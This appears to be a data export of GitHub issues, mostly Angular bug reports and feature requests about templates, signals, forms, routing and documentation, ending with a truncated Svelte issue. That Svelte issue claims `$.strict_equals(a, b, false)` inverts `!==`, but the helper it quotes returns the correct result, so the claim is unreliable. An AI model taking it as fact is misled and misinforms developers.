> Unexpected character ""EOF"" (Do you have an unescaped ""{"" in your template? Use ""{{ '{' }}"") to escape it.) 

but the code its ok: 

```
<div class=""main-container"">

    @switch (main.step$.value) {

    @case (1) {<app-company-info></app-company-info>}
    @case (2) {<app-owner-info></app-owner-info>}
    @case (3) {<app-transportista-bank-data></app-transportista-bank-data>}
    @case (4) {<app-vehicle-info></app-vehicle-info>}
    @case (5) {<app-vehicle-documents></app-vehicle-documents>}
    @case (6) {<app-resume></app-resume>}

    }

</div>
```
the only version who works for me its 20.3.2

### Please provide the environment you discovered this bug in (run `ng version`):

```true
Angular CLI: 20.3.4
Node: 24.5.0
Package Manager: npm 11.5.1
OS: win32 x64


Angular: 20.3.3
... animations, common, compiler, compiler-cli, core, forms
... platform-browser, platform-server, router

Package                      Version
------------------------------------
@angular-devkit/architect    0.2003.4
@angular-devkit/core         20.3.4
@angular-devkit/schematics   20.3.4
@angular/build               20.3.4
@angular/cdk                 20.2.7
@angular/cli                 20.3.4
@angular/fire                20.0.1
@angular/google-maps         20.2.7
@angular/material            20.2.7
@angular/ssr                 20.3.4
@schem... [TRUNCATED]",,2026-01-03T22:31:53Z,2026-01-03T22:47:51Z,2
angular/angular,3778414930,Validate ChangeDetectionStrategory for child components rendered by a component with ChangeDetectionStrategory.OnPush,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler-cli

### Description

According to https://angular.dev/guide/zoneless#onpush-compatible-components
>When a library component is a host for user-components which might use [ChangeDetectionStrategy.Default](https://angular.dev/api/core/ChangeDetectionStrategy#Default), it cannot use OnPush because that would prevent the child component from being refreshed if it is not OnPush compatible and relies on ZoneJS to trigger change detection.

As such, I would expect the angular compiler to validate that a component with ChangeDetectionStrategy.OnPush cannot render a child component with ChangeDetectionStrategy.Default

For example, given the following two components we should show an error on the `<default-cd>` node in the OnPushComponent template:

```
import { ChangeDetectionStrategy, Component } from '@angular/core';

@Component({
  selector: 'default-cd',
  template: '<p>default change detection</p>',
})
export class DefaultComponent {}

@Component({
  selector: 'onpush-cd',
  template: '<default-cd>',
  changeDetection: ChangeDetectionStrategy.OnPush,
  imports: [DefaultComponent],
})
export class OnPushComponent {}
```

This feature will help users incrementally migrate components in older zone.js based applications to use ChangeDetectionStrategy.OnPush and eventually enable a zoneless architecture. Such a feature would also support OnPush as the implicit change detection strategy (https://gi... [TRUNCATED]",,2026-01-03T19:24:17Z,2026-01-05T17:32:54Z,5
angular/angular,3776003917,Incorrect API linking for property names in code,"### Describe the problem that you experienced

The documentation system is incorrectly linking property names in code examples to API references. For example, in the [reactive forms documentation](https://angular.dev/guide/forms/reactive-forms#generate-form-controls) the word ""state"" in an object literal is being linked to [animations state](https://angular.dev/api/animations/state) when it should just be treated as a regular property name.

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/reactive-forms#generate-form-controls

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-01-02T09:54:41Z,2026-01-05T17:01:53Z,2
angular/angular,3774888719,Template type checker reports incorrect errors for input() signal inputs in directives,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

# Description

When using signal-based inputs via input() / input.required() inside a directive, Angular’s template type checker (and Angular Language Service) reports incorrect TypeScript errors when binding to the directive input from a template.

This seems specific to directives (as opposed to components), and results in either:

TS2540: Cannot assign to 'X' because it is a read-only property (if input is declared readonly)

TS2322: Type 'string' is not assignable to type 'InputSignal<string>' (if readonly is removed)

At runtime the binding works correctly, so this appears to be a template type-checker / language service issue.

```typescript

import { Directive, ElementRef, inject, input } from '@angular/core';

@Directive({
  selector: '[demoTranslate]',
  standalone: true,
})
export class DemoTranslateDirective {
  // Case A: readonly => TS2540
  readonly demoTranslate = input.required<string>();

  // Case B: no readonly => TS2322
  // demoTranslate = input.required<string>();

  private readonly el = inject(ElementRef);

  ngOnInit() {
    this.el.nativeElement.textContent = this.demoTranslate();
  }
}

```

```html
<span demoTranslate=""MY.KEY""></span>
```


### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-6tsprw6d?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true... [TRUNCATED]",needs reproduction,2026-01-01T16:40:28Z,2026-01-02T22:16:49Z,5
angular/angular,3772296463,Date pipe add a year where date is between 28-12 to 31-12,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

Yes

### Description

When I use the pipe date for dates between 28-12 to 31-12, with pattern Y, adds a year to date, but if I use the pattern y works correctly.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 11.2.19
Node: 12.22.12
OS: win32 x64

Angular: 11.2.14
... animations, common, compiler, compiler-cli, core, forms
... platform-browser, platform-browser-dynamic, router
Ivy Workspace: Yes

Package                         Version
---------------------------------------------------------
@angular-devkit/architect       0.1102.19
@angular-devkit/build-angular   0.1102.19
@angular-devkit/core            11.2.19
@angular-devkit/schematics      11.2.19
@angular/cdk                    11.2.13
@angular/cli                    11.2.19
@schematics/angular             11.2.19
@schematics/update              0.1102.19
rxjs                            6.6.7
typescript                      4.1.6
```

### Anything else?

_No response_",,2025-12-31T08:33:46Z,2025-12-31T08:44:33Z,3
angular/angular,3772240755,Template pipeline leaves behind unnecessary restore/reset view calls in the presence of `@let`,"Variables are generated in the pipeline by inserting references to all the symbols within the scope and then later cleaning up the unused ones in an optimization pass. When generating the scope for listener instructions, we expose all the `@let` declarations in the same view ([see](https://github.com/angular/angular/blob/main/packages/compiler/src/template/pipeline/src/phases/generate_variables.ts#L293)) which leads us to generate `ɵɵrestoreView` and `ɵɵresetView` calls, however if the `@let` reference isn't used within the listener, the variable optimization phase only removes the variable that reads it and not the `ɵɵrestoreView`/`ɵɵresetView` calls.

For example, if we take the following template:

```html
@let unused = 1;
<button (click)=""noop()""></button>
```

It produces the following code before optimization:

```js
if (rf & 1) {
  const _r1 = ɵɵgetCurrentView();
  ɵɵdeclareLet(0);
  ɵɵdomElementStart(1, ""button"", 0);
  ɵɵdomListener(
    ""click"",
    function TestComp_Template_button_click_1_listener() {
      const ctx_r1 = ɵɵrestoreView(_r1);
      const unused_r3 = ɵɵreadContextLet(0);
      return ɵɵresetView(ctx.noop());
    }
  );
  ɵɵdomElementEnd();
}
if (rf & 2) {
  const unused_r4 = ɵɵstoreLet(1);
}
```

Which becomes the following after optimization:

```js
if (rf & 1) {
  const _r1 = ɵɵgetCurrentView();
  ɵɵdomElementStart(0, ""button"", 0);
  ɵɵdomListener(
    ""click"",
    function TestComp_Template_button_click_0_listener() {
      ɵɵrestoreView(_r1);
   ... [TRUNCATED]","area: compiler,bug,compiler: template pipeline",2025-12-31T08:04:11Z,2026-01-20T18:22:57Z,2
angular/angular,3771799276,Incorrect Highlighting in Content Queries Example,"### Describe the problem that you experienced

In the example, the highlight should be on the next line. Instead of highlighting `export class CustomExpando`, it should highlight `@ContentChild(CustomToggle) toggle: CustomToggle;`

In [queries.md](https://github.com/angular/angular/blob/main/adev/src/content/guide/components/queries.md?plain=1#L340) the code highlight should be updated.
 

<img width=""777"" height=""698"" alt=""Image"" src=""https://github.com/user-attachments/assets/7c78d71e-2518-4894-ab18-ad20a8787cbd"" />

 

### Enter the URL of the topic with the problem

https://angular.dev/guide/components/queries#content-queries-1
",,2025-12-31T02:14:09Z,2026-01-02T07:28:46Z,1
angular/angular,3770987764,"Routes, parameters got replaced by child route, feature or bug?","### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

Yes

### Description

The following situation happens to me:

There is a parent route with a parameter involved

parent/:id

There are also child routes which have a default setting defined in another module.

As soon the routes got processed the URL ""parent/1"", the URL will be changed in a wrong manner (at least what I think)

resolves into:  parent/default_child

instead of parent/1/default_child 
for id = 1

even more worse

the next iteration processed the URL into

parent/default_child/default_child

which is quite obviously a bug.

I can fetch the id from the activeRoute in the component once without any problems, so the id was recognized. A refresh of the page results in a failure, because the URL was miss transformed.

Has anybody ever seen the same behavior? I tried to find an explanation, but nothing relevant popped up.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 17.3.17
Node: 18.16.0
npm: 9.5.1
OS: linux x64
Angular: 17.3.12
```

### Anything else?

_No response_",needs reproduction,2025-12-30T18:56:26Z,2025-12-30T20:07:52Z,4
angular/angular,3770865264,404 when trying to open Push Notifications page,"### Describe the problem that you experienced

When I try to open Push Notifications in the _Extended Ecosystem > Service Workers & PWA_ I get 404 page not found.

### Enter the URL of the topic with the problem

https://angular.dev/ecosystem/service-workers

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",needs: clarification,2025-12-30T17:50:46Z,2026-01-02T20:33:52Z,3
angular/angular,3768780002,Angular Language Service for Zed,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Do you have any plans to create LSP for Zed?

### Proposed solution

Do you have any plans to create LSP for Zed?

### Alternatives considered

Do you have any plans to create LSP for Zed?",,2025-12-30T02:09:08Z,2025-12-30T03:21:26Z,2
angular/angular,3766293660,If I put YYYY in date pipe it shows me wrong output,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

Yes

### Description

Wrong output in date pipe if we use 'YYYY' or 'YY' in date format. We have source code also, please see the following zip attachment.


[src.zip](https://github.com/user-attachments/files/24363347/src.zip)

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
We are trying convert the date to our own custom format, we are using 'YYYY' then it shows me wrong output.

e.g. we have to convert today's date in custom format by using date pipe, and if we use 'YYYY' or 'YY' then it shows me next year on output rather than the current year.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular: 19.2.17
... common, compiler, compiler-cli, core, forms
... platform-browser, platform-browser-dynamic, router

Package                         Version
---------------------------------------------------------
@angular-devkit/architect       0.1902.19
@angular-devkit/build-angular   19.2.19
@angular-devkit/core            19.2.19
@angular-devkit/schematics      19.2.19
@angular/cli                    19.2.19
@schematics/angular             19.2.19
rxjs                            7.8.2
typescript                      5.7.3
zone.js                         0.15.1
```

### Anything else?

_No response_",,2025-12-29T03:05:40Z,2025-12-29T06:39:54Z,3
angular/angular,3765492595,Signal forms debounce with additional non-debounced value,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

Imagine an scenario where a search input has a magnifying glass icon on top of the input (when the input is empty) so the user knows that is a search field. Then the magnifying glass icon should disappear as soon as the user starts typing. However that same field input, using signal forms new api, is implementing a `debounce` to delay the api calls tied to the search input.

The problem with the above is that because of the use of `debounce`, the magnifying glass will not disappear the moment the user starts typing, as the display of the magnifying glass is tied to the form signal as well.

### Proposed solution

The FieldState should expose a non-debounced signal of the value, maybe via the metadata or an additional method.

### Alternatives considered

A solution to the above can be achieved by setting up another signal and tie it to the signal form via a linkedSignal, but feels a bit hacky. It would be cleaner if a solution could be provided via the new api.",,2025-12-28T09:19:14Z,2025-12-28T12:14:28Z,2
angular/angular,3764776980,Effect triggering inconsistency,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

The triggering of effects is inconsistent. 
Depending on adding for example a `console.log` or to put a signal in an unused variable, the triggering occurs or not. 

In the example below, the three effects must have the same values. The first one is not triggered. The second and the third are to show workarounds, but with high risk when cleaning the code.

```import { Component, effect, signal } from '@angular/core';

@Component({
  selector: 'app-root',
  template: `
To test this,
<ol>
  <li> Click on the ""To false"" or ""To true"" button </li>
  <li> The counter stay at zero </li>
  <li> Click on the ""Start counting value changes"" button </li>
  <li> Click on the ""To false"" or ""To true"" button </li>
  <li> All counters must increase simultanosuly </li>
</ol>
<pre>
Value: {{value()}} 

<span (click)=""value.set(false)""> To false </span> <span (click)=""value.set(true)""> To true </span>

Value changes counters: {{counter1()}} / {{counter2()}} / {{counter3()}}

<span (click)=""start()""> Start counting value changes </span>
</pre>
`,styles: `
:host {font-size: 24px;}
span {  border: 1px black solid;}
`
})
export class App 
{
  value = signal(false);

  lastValue1: boolean | undefined = undefined;
  counter1 = signal(0);

  lastValue2: boolean | undefined = undefined;
  counter2 = signal(0);

  lastValue3: boolean | undefined = undefined;
  counter3 = signal(0);

  constr... [TRUNCATED]",,2025-12-27T13:38:21Z,2025-12-27T16:22:07Z,5
angular/angular,3764169536,TSX/JSX compilation support,"### Which @angular/* package(s) are the source of the bug?

compiler-cli

### Is this a regression?

No

### Description

There are libraries like @bubblydoo/angular-react that help to use multiple frameworks (React + Angular) at the same time.

The core developers of this library discovered that, starting from some point, the builder has been broken for TSX/JSX files (at least since @angular/compiler-cli@13). They applied a patch for their own needs using Yarn. It works, but it has to be maintained separately for each framework version.

So, I assume it might not be very hard to fix, since the issue has already been identified by the patch authors (see the patch [here](https://github.com/bubblydoo/angular-react/blob/main/.yarn/patches/%40angular-compiler-cli-npm-14.3.0-340f59f610.patch), and the source file that needs to be modified is located [here](https://github.com/angular/angular/blob/main/packages/compiler-cli/src/ngtsc/file_system/src/util.ts)).

I can provide a PR with this fix if this is an acceptable way to address this kind of issue.

Here is an example of the issue (after upgrading to ng@15 and removing the Yarn patch; the issue persists even after upgrading to the latest Angular version):

<img width=""1277"" height=""522"" alt=""Image"" src=""https://github.com/user-attachments/assets/3548f74e-e110-4d90-8c4c-3768d45ca340"" />

### Please provide a link to a minimal reproduction of the bug

https://github.com/bubblydoo/angular-react

### Please provide the exception or ... [TRUNCATED]","area: core,state: has PR",2025-12-27T00:37:05Z,2026-01-21T18:33:16Z,7
angular/angular,3763347723,"Routes, `loadChildren` and `loadComponent` are working together. Bug or a feature?","### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

Yes

### Description

when defining a routes, there is an equivalent between:
```ts
{
   path: 'foo',
   loadComponent: () => import('./foo'), // foo contain router outlet
   children: [
     {
         path: '',
         loadChildren: () => import('./children'),
     },
}
```

and this definition:
```ts
{
   path: 'foo',
   loadComponent: () => import('./foo'),  // foo contain router outlet
   loadChildren: () => import('./children'),
}
```

The second example is not documented anywhere I want to understand if it is a bug (it not suppose to behave like that) or this is actually the same configuration and then this is a documentation update request.



### Please provide a link to a minimal reproduction of the bug

https://github.com/ziv/angular-route-issue-reproduction

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
_                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/
    

Angular CLI       : 21.0.4
Angular           : 21.0.6
Node.js           : 22.17.1
Package Manager   : npm 10.9.2
Operating System  : darwi... [TRUNCATED]","area: router,good first issue,area: docs",2025-12-26T11:57:07Z,2026-01-02T07:26:32Z,6
angular/angular,3762800765,(animate.leave) produces memory leaks,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

If a component has `(animate.leave)` hook - it's stuck in `allLeavingAnimations` after parent destroys.

Please see reproduction example

<img width=""1688"" height=""1071"" alt=""Image"" src=""https://github.com/user-attachments/assets/bd30449f-b9eb-480b-bca3-c3a176174675"" />

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/angular-fiddle-gqwykbhz-4qecuwtv?file=src%2Fapp%2Fleak.component.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: core,state: has PR,core: animations",2025-12-26T06:06:41Z,2026-01-07T17:39:02Z,2
angular/angular,3761899910,Angular forms: ɵɵcontentQuery(...) is not a function,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

After updating my angular repo from v20 to v21, an expected error arises when I use Angular reactive forms and Angular Material together. The error thrown is

```
ERROR TypeError: ɵɵcontentQuery(...) is not a function
    at Object.MatFormField_ContentQueries [as contentQueries] (_form-field-chunk.mjs:1050:59)
    at executeContentQueries (_debug_node-chunk.mjs:2712:15)
    at ɵɵelementStart (_debug_node-chunk.mjs:14136:5)
    at LoginComponent_Template
```


```ts
import { Component, computed, inject, OnInit, signal } from '@angular/core';
import {
  FormBuilder,
  Validators,
  ReactiveFormsModule,
  FormsModule,
  FormGroup,
} from '@angular/forms';

@Component({
  selector: 'app-login',
  templateUrl: './login.component.html',
  styleUrls: ['./login.component.scss'],
  imports: [
    FormsModule,
    RouterLink,
    ReactiveFormsModule,
  ],
})
export class LoginComponent implements OnInit {
  private readonly formBuilder = inject(FormBuilder);
  private readonly auth = inject(AuthService);
  private readonly settings = inject(SettingsService);
  readonly signals = inject(SignalsService);
  loginForm!: FormGroup;

  private readonly options = this.settings.getOptions();
  readonly themeStyle = computed(() => this.options.theme);
  readonly hide = signal(true);

  ngOnInit(): void {
    this.loginForm = this.formBuilder.nonNullable.group({
      email: ['', [... [TRUNCATED]",,2025-12-25T12:14:23Z,2025-12-25T13:11:32Z,2
angular/angular,3761046608,"docs: wrong URL for ""Designing your form model"" button","### Describe the problem that you experienced

In the overview page of the Signal Forms (`https://angular.dev/guide/forms/signals/overview`), a button is supposed to redirect to a doc about designing a form model. The button redirects to a not found page, even though the page it's supposed to open exists, but in another URL.
Wrong URL used currently for the button : `https://angular.dev/guide/forms/signals/designing-your-form-model`
Correct URL : `https://angular.dev/guide/forms/signals/model-design`

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/signals/overview

### Describe what you were looking for in the documentation

Information about the signal forms, to see if I can contribute to the next features

### Describe the actions that led you to experience the problem

Just going through the docs of signal forms

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",area: docs,2025-12-24T21:30:36Z,2026-01-09T16:37:09Z,3
angular/angular,3759261255,Easily scrap data fetching in DOM throught,"### Which @angular/* package(s) are the source of the bug?

platform-browser

### Is this a regression?

No

### Description

problem is whatsapp web anything open so that member contact number easily fetch and scrap this main problem to solve required to better HTML DOM

<img width=""501"" height=""361"" alt=""Image"" src=""https://github.com/user-attachments/assets/f0a8c40a-6878-44c7-84a9-abcc64d5f525"" />
<img width=""911"" height=""289"" alt=""Image"" src=""https://github.com/user-attachments/assets/a532e3a3-563e-4fe3-97a8-cfac87cc66bc"" />

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
To solve the crusial data not show library required to end to end encrypted data so that dom throught not possiable to fetch like mobile number etc
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",,2025-12-24T05:22:38Z,2025-12-24T06:38:23Z,2
angular/angular,3758884067,signal forms disabled state not in sync with it's disabled source signal,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

Given the sample below the isDisabled signal is `false`, but the disabled state is `true`.

This feels like a hoisting issue as the issue is fixed if I use a function to wrap the `isDisabled` in the `disabled` setup (see comments).

Another way to fix it would be to move the isDisabled signal before the form initialization.

I probably would have expected ts to give this error:
`Property 'isDisabled' is used before its initialization`
which I have seen appear when a similar setup is used with likedSignal source, and the linkedSignal correctly warns about the issue.

```typescript
import { Component, signal } from '@angular/core';
import { disabled, Field, form } from '@angular/forms/signals';

@Component({
  selector: 'swv-root',
  imports: [Field],
  styles: `
  input[disabled]{
    background-color: gray;
  }
  `,
  template: `
  <input [field]=""componentForm.a"" > 
  <div>
    should be disabled?: {{isDisabled()}}
  </div>
  <div>
    is really disabled?: {{componentForm.a().disabled()}}
  </div>
  `,
})
export class App {
  formModel = signal<{ a: string }>({ a: 'hello' });
  componentForm = form(this.formModel, (s) => {
    // disabled(s.a, () => this.isDisabled()); // << this work
    disabled(s.a, this.isDisabled); // << this doesnt work
  });
  isDisabled = signal(false);
}

```

### Please provide a link to a minimal reproduction of the bug

_No response... [TRUNCATED]","area: forms,forms: signals",2025-12-24T00:52:01Z,2026-01-05T21:41:56Z,5
angular/angular,3758762658,Copy-to-clipboard icon moves to a new line for long heading text,"### Describe the problem that you experienced

When inline text or code is long enough to wrap into multiple lines, the copy-to-clipboard icon is rendered on a separate line below the text, instead of staying aligned with the first line.
For example  [An event is handled by a component with default change detection](https://angular.dev/best-practices/skipping-subtrees#an-event-is-handled-by-a-component-with-default-change-detection)

Example 

<img width=""803"" height=""90"" alt=""Image"" src=""https://github.com/user-attachments/assets/368ad121-716c-42d4-9258-ae1b7bbc9f89"" />


### Proposed solution
Consider improving the wrapping behavior by using text-wrap: balance or text-wrap: pretty, so the text wraps more evenly and keeps the copy icon visually aligned with the content.

This would improve readability and consistency across documentation pages with long inline text.


I’m not sure about using text-wrap: balance, since it seems to produce layouts like the one shown in the image above.

<img width=""805"" height=""638"" alt=""Image"" src=""https://github.com/user-attachments/assets/b30e89ea-0ac7-4c6f-98f2-82bcb7ecdd97"" />


text-wrap: pretty might be a better fit in this case, but I’d like to get the team’s feedback before proposing a PR.

<img width=""834"" height=""660"" alt=""Image"" src=""https://github.com/user-attachments/assets/5cb16a87-2362-409a-aa05-51336d1be55a"" />

 ","open for contributions,area: docs-infra",2025-12-23T23:02:48Z,2026-01-02T07:24:41Z,1
angular/angular,3758727760,Files not used in adev code,"### Describe the problem that you experienced

The files in the screenshot don’t seem to be used in the code. Is it possible to delete them?

**Files path =>** **/src/content/example/animations/src/app/about...**

<img width=""297"" height=""180"" alt=""Image"" src=""https://github.com/user-attachments/assets/89d4b275-4ad6-4a49-b1a4-75a0459a0a4f"" />

I can delete the files and open a PR

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",area: docs-infra,2025-12-23T22:34:22Z,2025-12-23T23:30:02Z,2
angular/angular,3757393594,Can we restore old time query param routing for angular,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

The reson why I need this option to be available is because in applications like electron it is not important how route address looks like it is important to have way to open specific view and refresh it or open specific route in different windows. Now it is quite difficult to have that. I need something like localhost:4200?route=dashboard for example to open specific part of app in diffrent windows in electron.

### Proposed solution

enabling option for query like path.

### Alternatives considered

n/a",,2025-12-23T13:32:07Z,2025-12-23T15:23:36Z,2
angular/angular,3756643190,Signal forms debounce for clear button,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

I have an search input with a form signal field, the field has a `debounce(fieldPath, 500)` of 500 ms.
Next to the input I have a button that clears the input.

The set up that I had before, with reactive forms allowed me to have a rxjs debounce during user text input, and then the clear button was immediate in it's action.

I have refactored this to use signal forms, but I am noticing that by using the debounce new api, the clear button does a debounce as well.

The debounce behavior by updating the signal via the `form().value.set('')` is debouncing as expected. But I was hoping that maybe when I clear the input via the formModel signal instead, I could bypass the debounce.

I can think of a couple of workarounds to solve my usecase using rxjs + signal forms, but I will have to drop the new signal forms debounce api.

Is there any way to approach this purely with signal forms and not revert to rxjs?
Thanks.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: forms,needs: clarification,forms: signals",2025-12-23T09:03:28Z,2025-12-23T09:42:03Z,3
angular/angular,3755939189,Configure Angular CLI to generate services in a default services/ folder?,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

I have a query regarding the current behavior and configuration options of the Angular CLI when generating services.

At the moment:

`ng g s customerservice`

creates the service in the current directory:

`src/app/customerservice.service.ts`

Whereas:

`ng g s customers/customerservice`

creates:

`src/app/customers/customerservice.service.ts`

since the CLI treats the name as a path.

Is there any existing or recommended way to configure the Angular CLI (for example via angular.json, schematics, or workspace defaults) so that:

`ng g s customerservice`

would automatically generate the service under a default folder such as:

`src/app/services/customer.service.ts`

**Context**

In many Angular projects, services are commonly grouped under a services/ directory for better organization and scalability. Having a configurable default location would reduce repetitive CLI usage and help enforce consistent project structure.

***Additional context***

If this is not currently supported, I’d appreciate guidance on:

- recommended best practices, or
- whether custom schematics are the intended solution.



### Proposed solution

1. Allow the CLI to generate services in a default services/ folder.
2. Could be done via:

- CLI flag: ng g s customerservice --folder=services
- Workspace-wide default in angular.json
- Custom schematic configuration

### Alternatives considered

... [TRUNCATED]",,2025-12-23T03:57:52Z,2025-12-23T08:04:25Z,5
angular/angular,3754309464,Inconsistent component class naming in angular.dev examples,"### Describe the problem that you experienced

According to the current [Angular Style Guide](https://angular.dev/style-guide), the Component suffix is no longer recommended.
However, examples in `angular.dev` are inconsistent: some still use the Component suffix while others do not.

 ",area: docs,2025-12-22T16:00:23Z,2026-01-09T16:26:38Z,3
angular/angular,3753638670,Custom Angular Project Structure Generation,"### Which @angular/* package(s) are relevant/related to the feature request?

compiler-cli

### Description

Currently, when creating a new Angular project using the Angular CLI (ng new), the CLI generates a fixed default folder structure. While this structure works well for simple applications, most real-world and enterprise Angular projects require a custom architecture from the beginning.

In practice, developers and teams often need to manually restructure the generated project to follow their preferred architecture, such as separating folders for auth, features, shared, and core. This manual setup process is repetitive, time-consuming, and can lead to inconsistencies across projects and teams.

I would like to propose a feature (or supporting tool) that allows developers to define their Angular project architecture before project generation.

### Proposed solution

Provide a simple and interactive way to generate an Angular project with a custom structure instead of the default Angular CLI layout.

The proposed flow would be:

Ask the developer which Angular version they want to use when creating the project

Ask whether the project should be module-based or standalone (component-based)

Allow the developer to define their own main folder structure

For example, a developer may want the following top-level folders:

core

shared

features

layout

The developer should be able to fully manage and customize these folders, including creating subfolders inside them based on ... [TRUNCATED]",,2025-12-22T12:32:19Z,2025-12-22T12:36:05Z,1
angular/angular,3751138393,one left arrow bug,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

No

### Description

clear this bugs 

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

<img width=""549"" height=""261"" alt=""Image"" src=""https://github.com/user-attachments/assets/a5a4281e-67b3-42f7-9148-540291018474"" />",area: docs-infra,2025-12-21T13:19:17Z,2026-01-02T07:22:18Z,1
angular/angular,3748701547,Resource API's reload should return a promise,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

The reload() method in Angular v20's new resource API currently returns a boolean indicating whether a reload was triggered. It should instead return a promise to enable modern async handling and error management.

### Proposed solution

Change reload() to return a Promise that resolves when the reload completes.

### Alternatives considered

Introduce a new reloadAsync() method alongside the existing reload().",,2025-12-19T20:07:21Z,2025-12-19T22:15:55Z,2
angular/angular,3747828890,Signal Forms disable / enable function to disable all fields inside a form,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

In Reactive Forms, we can disable/enable the entire form tree imperatively via:

```typescript
form.disable();
form.enable();
```

With Signal Forms, there is still a `disabled()` state on fields (and the root form aggregates field state), but there is currently no supported equivalent to disable/enable the entire form tree.

If I create a Signal Form like this:

```typescript
export const conferenceInitialState = {
  name: '',
  startDate: new Date(),
  endDate: new Date(),
  online: false,
  url: '',
  location: '',
  description: '',
};

readonly conferenceModel = signal(conferenceInitialState);
readonly conferenceForm = form(this.conferenceModel);
```

I can read form state signals such as:

```
this.conferenceForm().disabled();
```

…but `conferenceForm().disabled()` is never true because no mechanism exists to apply a form-level disabled rule (only field-level rules via schema).

To disable multiple fields today, I need to define a top-level signal and apply disabled(...) per field:
```
readonly formDisabled = signal(false);

readonly conferenceForm = form(this.conferenceModel, (path) => {
  disabled(path.name, () => this.formDisabled());
  disabled(path.startDate, () => this.formDisabled());
  disabled(path.endDate, () => this.formDisabled());
  disabled(path.online, () => this.formDisabled());
  disabled(path.url, () => this.formDisabled());
  disabled(path.lo... [TRUNCATED]","area: forms,forms: signals",2025-12-19T15:06:05Z,2025-12-30T10:18:47Z,3
sveltejs/svelte,4688258195,"[bug] Rune mode compiles `!==` to $.strict_equals(a, b, false) — inverted comparison","
### Description

When using rune mode in a `.svelte` or `.svelte.ts` file, the `!==`
binary operator is incorrectly compiled so that the resulting
`$.strict_equals()` call receives the wrong `equal` flag, silently
inverting the comparison. This affects **every** `!==` used inside
rune-mode `.svelte` and `.svelte.ts` files, with no warning at compile
time or runtime.

In our codebase, this bug has bitten us at least **38 times** across
**16 files** after a full sweep of all 167 `!==` usages. Every one
required a workaround.

### Reproduction

Minimal `.svelte` file (Svelte 5, rune mode):

```svelte
<!-- repro.svelte -->
<script lang=""ts"">
  let a = 'hello';
  let b = 'world';
  console.log('a !== b:', a !== b);
</script>
```

### Compiled output

Svelte 5 compiles the above to (in dev mode):

```js
console.log('a !== b:', $.strict_equals(a, b, false));
```

The `strict_equals` helper is defined in
`src/internal/client/dev/equality.js` as:

```js
export function strict_equals(a, b, equal = true) {
  return (a === b) === equal;
}
```

The third argument `equal` controls the result:

| Call | Returns | Meaning |
|------|---------|---------|
